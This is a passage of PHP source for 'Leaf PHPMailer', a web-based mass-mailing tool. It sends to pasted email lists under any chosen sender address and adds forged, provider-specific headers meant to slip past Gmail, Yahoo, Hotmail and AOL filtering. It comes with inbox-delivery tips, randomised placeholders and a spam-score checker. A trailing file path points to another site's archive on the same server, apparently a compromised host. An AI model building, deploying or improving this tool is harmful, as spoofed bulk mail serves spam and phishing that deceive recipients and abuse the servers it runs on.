. $this->From; $headers[] = 'X-Contact: ' . $this->From; $headers[] = 'List-Unsubscribe: <mailto:' . $this->From . '?subject=unsubscribe>'; return implode("\r\n", $headers); } private function getHotmailHeaders($domain) { $headers = array(); $headers[] = 'X-Priority: 1'; $headers[] = 'X-MSMail-Priority: High'; $headers[] = 'Importance: High'; $headers[] = 'X-Originating-IP: ' . ($_SERVER['SERVER_ADDR'] ?? '127.0.0.1'); $headers[] = 'X-Sender: ' . $this->From; $headers[] = 'X-Originating-Email: ' . $this->From; $headers[] = 'X-Source: ' . $domain; $headers[] = 'X-Source-Args: ' . $domain; $headers[] = 'X-Source-Dir: ' . $domain; $headers[] = 'List-Unsubscribe: <mailto:' . $this->From . '?subject=unsubscribe>'; return implode("\r\n", $headers); } private function getAolHeaders($domain) { $headers = array(); $headers[] = 'X-Priority: 1'; $headers[] = 'X-MSMail-Priority: High'; $headers[] = 'Importance: High'; $headers[] = 'X-AOL-IP: ' . ($_SERVER['SERVER_ADDR'] ?? '127.0.0.1'); $headers[] = 'X-AOL-SENDER: ' . $this->From; $headers[] = 'X-AOL-ORIGINAL-FROM: ' . $this->From; $headers[] = 'X-Originating-IP: ' . ($_SERVER['SERVER_ADDR'] ?? '127.0.0.1'); $headers[] = 'X-Sender: ' . $this->From; $headers[] = 'List-Unsubscribe: <mailto:' . $this->From . '?subject=unsubscribe>'; return implode("\r\n", $headers); } private function getCustomHeaders() { $headers = array(); $headers[] = 'X-Priority: 1'; $headers[] = 'X-MSMail-Priority: High'; $headers[] = 'Importance: High'; $headers[] = 'X-Originating-IP: ' . ($_SERVER['SERVER_ADDR'] ?? '127.0.0.1'); $headers[] = 'X-Sender: ' . $this->From; $headers[] = 'List-Unsubscribe: <mailto:' . $this->From . '?subject=unsubscribe>'; return implode("\r\n", $headers); } private function getDefaultHeaders($domain) { $headers = array(); $headers[] = 'X-Priority: 1'; $headers[] = 'X-MSMail-Priority: High'; $headers[] = 'Importance: High'; $headers[] = 'X-Originating-IP: ' . ($_SERVER['SERVER_ADDR'] ?? '127.0.0.1'); $headers[] = 'X-Sender: ' . $this->From; $headers[] = 'List-Unsubscribe: <mailto:' . $this->From . '?subject=unsubscribe>'; return implode("\r\n", $headers); } protected function createBody() { // For HTML emails without AltBody, send as single part if ($this->ContentType == 'text/html' && empty($this->AltBody)) { return $this->Body; } // For HTML emails with AltBody, create multipart if ($this->ContentType == 'text/html' && !empty($this->AltBody)) { $boundary = '=_part_' . md5(uniqid()); $body = "This is a multi-part message in MIME format.\r\n"; $body .= "--" . $boundary . "\r\n"; $body .= "Content-Type: text/plain; charset=\"" . $this->CharSet . "\"\r\n"; $body .= "Content-Transfer-Encoding: " . $this->Encoding . "\r\n\r\n"; $body .= $this->AltBody . "\r\n\r\n"; $body .= "--" . $boundary . "\r\n"; $body .= "Content-Type: text/html; charset=\"" . $this->CharSet . "\"\r\n"; $body .= "Content-Transfer-Encoding: " . $this->Encoding . "\r\n\r\n"; $body .= $this->Body . "\r\n\r\n"; $body .= "--" . $boundary . "--\r\n"; return $body; } // For plain text emails return $this->Body; } protected function formatAddress($address, $name = '') { if (empty($name)) { return $address; } else { return $this->encodeHeader($name) . ' <' . $address . '>'; } } protected function encodeHeader($str) { if (preg_match('/[^\x20-\x7E]/', $str)) { return '=?UTF-8?B?' . base64_encode($str) . '?='; } return $str; } } function leafheader() { print ' <head> <title>' . str_replace("www.", "", $_SERVER['HTTP_HOST']) . ' - Leaf PHPMailer</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet"> </head>'; } leafheader(); print '<body>'; print '<div class="container col-lg-6"> <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>' . $leaf['version'] . '</small></h3> <form name="form" id="form" method="POST" enctype="multipart/form-data" action=""> <input type="hidden" name="action" value="score"> <div class="row"> <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control input-sm " id="senderEmail" name="senderEmail" value="' . htmlspecialchars($senderEmail) . '"></div> <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control input-sm " id="senderName" name="senderName" value="' . htmlspecialchars($senderName) . '"></div> </div> <div class="row"> <span class="form-group col-lg-6 "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span> <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control input-sm " id="replyTo" name="replyTo" value="' . htmlspecialchars($replyTo) . '" /></div> </div> <div class="row"> <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control input-sm " id="subject" name="subject" value="' . htmlspecialchars($subject) . '" /></div> </div> <div class="row"> <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10">' . htmlspecialchars($messageLetter) . '</textarea></div> <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10">' . htmlspecialchars($emailList) . '</textarea></div> </div> <div class="row"> <div class="form-group col-lg-6 "> <label for="messageType">Message Type</label> HTML <input type="radio" name="messageType" id="messageType1" value="1" ' . $html . '> Plain<input type="radio" name="messageType" id="messageType2" value="2" ' . $plain . '> </div> <div class="form-group col-lg-3 "> <label for="charset">Character set</label> <select class="form-control input-sm" id="charset" name="charset"> <option ' . $utf8 . '>UTF-8</option> <option ' . $iso . '>ISO-8859-1</option> </select> </div> <div class="form-group col-lg-3 "> <label for="encoding">Message encoding</label> <select class="form-control input-sm" id="encode" name="encode"> <option ' . $bit8 . '>8bit</option> <option ' . $bit7 . '>7bit</option> <option ' . $binary . '>binary</option> <option ' . $base64 . '>base64</option> <option ' . $quotedprintable . '>quoted-printable</option> </select> </div> </div> <div class="row"> <div class="form-group col-lg-6"> <label for="provider_headers">Provider Headers</label> <select class="form-control input-sm" id="provider_headers" name="provider_headers"> <option value="gmail" ' . ($provider_headers == 'gmail' ? 'selected' : '') . '>Gmail</option> <option value="yahoo" ' . ($provider_headers == 'yahoo' ? 'selected' : '') . '>Yahoo</option> <option value="hotmail" ' . ($provider_headers == 'hotmail' ? 'selected' : '') . '>Hotmail/Outlook</option> <option value="aol" ' . ($provider_headers == 'aol' ? 'selected' : '') . '>AOL</option> <option value="custom" ' . ($provider_headers == 'custom' ? 'selected' : '') . '>Custom</option> </select> </div> <div class="form-group col-lg-6"> <label for="custom_headers">Custom Headers</label> <textarea name="custom_headers" id="custom_headers" class="form-control" rows="3">' . htmlspecialchars($custom_headers) . '</textarea> </div> </div> <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a> </form> </div> <div class="col-lg-6"><br> <label for="well">Instruction</label> <div id="well" class="well well"> <h4>Server Information</h4> <ul> <li>Server IP Address : <b>' . ($_SERVER['SERVER_ADDR'] ?? 'Unknown') . ' </b> <a href="?check_ip=' . ($_SERVER['SERVER_ADDR'] ?? '') . '" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li> <li>PHP Version : <b>' . phpversion() . '</b></li> </ul> <h4>HELP</h4> <ul> <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li> <ul> <li>[-emailuser-] : <b>Email User</b> (emailuser) </li> <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li> </ul> <li>[-time-] : <b>Date and Time</b> (' . date("m/d/Y h:i:s a", time()) . ')</li> <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li> <li>[-randomnumber-] : <b>Random number (0-9) </b></li> <li>[-randomletters-] : <b>Random Letters(a-z) </b></li> <li>[-randommd5-] : <b>Random MD5 </b></li> </ul> <h4>Inbox Delivery Tips</h4> <ul> <li><b>Gmail:</b> Uses X-Google headers and abuse reporting</li> <li><b>Yahoo:</b> Uses X-Yahoo and X-Apparently-From headers</li> <li><b>Hotmail:</b> Uses X-Source and originating IP headers</li> <li><b>AOL:</b> Uses X-AOL specific headers</li> <li>Select the provider matching your target audience</li> </ul> <h6>by <b><a href="http://' . $leaf['website'] . '">' . $leaf['website'] . '</a></b></h6> </div> </div>'; if (isset($_POST['action']) && $_POST['action'] == "send") { print '<div class="col-lg-12">'; $maillist = explode("\r\n", $emailList); $n = count($maillist); $x = 1; foreach ($maillist as $email) { $email = trim($email); if (empty($email)) continue; print '<div class="col-lg-1">[' . $x . '/' . $n . ']</div><div class="col-lg-4">' . htmlspecialchars($email) . '</div>'; if (!leafMailCheck($email)) { print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>'; print "<br>\r\n"; } else { $mail = new PHPMailer(true); try { $mail->setFrom(leafClear($senderEmail, $email), leafClear($senderName, $email)); if (!empty($replyTo)) { $mail->addReplyTo(leafClear($replyTo, $email)); } $mail->addAddress($email); $mail->Subject = leafClear($subject, $email); $mail->Body = leafClear($messageLetter, $email); $mail->setProviderHeaders($provider_headers); if ($messageType == 1) { $mail->isHTML(true); // Only add AltBody for multipart, otherwise send clean HTML if (strpos($messageLetter, '</') !== false && strpos(strip_tags($messageLetter), '[-') === false) { $mail->AltBody = strip_tags(leafClear($messageLetter, $email)); } } else { $mail->isHTML(false); } $mail->CharSet = $charset; $mail->Encoding = $encoding; // Add custom headers if (!empty($custom_headers)) { $header_lines = explode("\r\n", $custom_headers); foreach ($header_lines as $line) { if (strpos($line, ':') !== false) { list($name, $value) = explode(':', $line, 2); $mail->addCustomHeader(trim($name), trim($value)); } } } if (isset($_FILES['attachment']) && is_array($_FILES['attachment']['name'])) { for ($i = 0; $i < count($_FILES['attachment']['name']); $i++) { if ($_FILES['attachment']['tmp_name'][$i] != "") { $mail->addAttachment( $_FILES['attachment']['tmp_name'][$i], $_FILES['attachment']['name'][$i] ); } } } if (!$mail->send()) { echo '<div class="col-lg-6"><span class="label label-default">' . htmlspecialchars($mail->ErrorInfo) . '</span></div>'; } else { echo '<div class="col-lg-6"><span class="label label-success">Sent Successfully</span></div>'; } } catch (Exception $e) { echo '<div class="col-lg-6"><span class="label label-default">' . htmlspecialchars($e->getMessage()) . '</span></div>'; } print "<br>\r\n"; } $x++; // Flush output buffer for ($k = 0; $k < 40000; $k++) { echo ' '; } flush(); } print '</div>'; } elseif (isset($_POST['action']) && $_POST['action'] == "score") { $mail = new PHPMailer(true); try { $mail->setFrom(leafClear($senderEmail, "test@example.com"), leafClear($senderName, "test@example.com")); if (!empty($replyTo)) { $mail->addReplyTo(leafClear($replyTo, "test@example.com")); } $mail->addAddress("username@domain.com"); $mail->Subject = leafClear($subject, "test@example.com"); $mail->Body = leafClear($messageLetter, "test@example.com"); $mail->setProviderHeaders($provider_headers); if ($messageType == 1) { $mail->isHTML(true); if (strpos($messageLetter, '</') !== false) { $mail->AltBody = strip_tags(leafClear($messageLetter, "test@example.com")); } } else { $mail->isHTML(false); } $mail->CharSet = $charset; $mail->Encoding = $encoding; $messageHeaders = $mail->getSentMIMEMessage(); $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter'); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['email' => $messageHeaders, 'options' => 'long'])); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 15); $response = curl_exec($ch); curl_close($ch); $response = json_decode($response); print '<div class="col-lg-12">'; if ($response && isset($response->success) && $response->success == true) { $score = $response->score; $class = ($score > 5) ? "danger" : "success"; print '<div class="text-' . $class . '">Your SpamAssassin score is ' . $score . '</div> <div>Full Report: <pre>' . htmlspecialchars($response->report) . '</pre></div>'; } else { print '<div class="text-danger">Error getting spam score</div>'; } print '</div>'; } catch (Exception $e) { print '<div class="col-lg-12"><div class="text-danger">Error: ' . htmlspecialchars($e->getMessage()) . '</div></div>'; } } print '</body>'; ?>
/home/www/hallgroupsolutions.com/e61a0/../8314a/../0a24e/integralinnovationsgroup.com.tar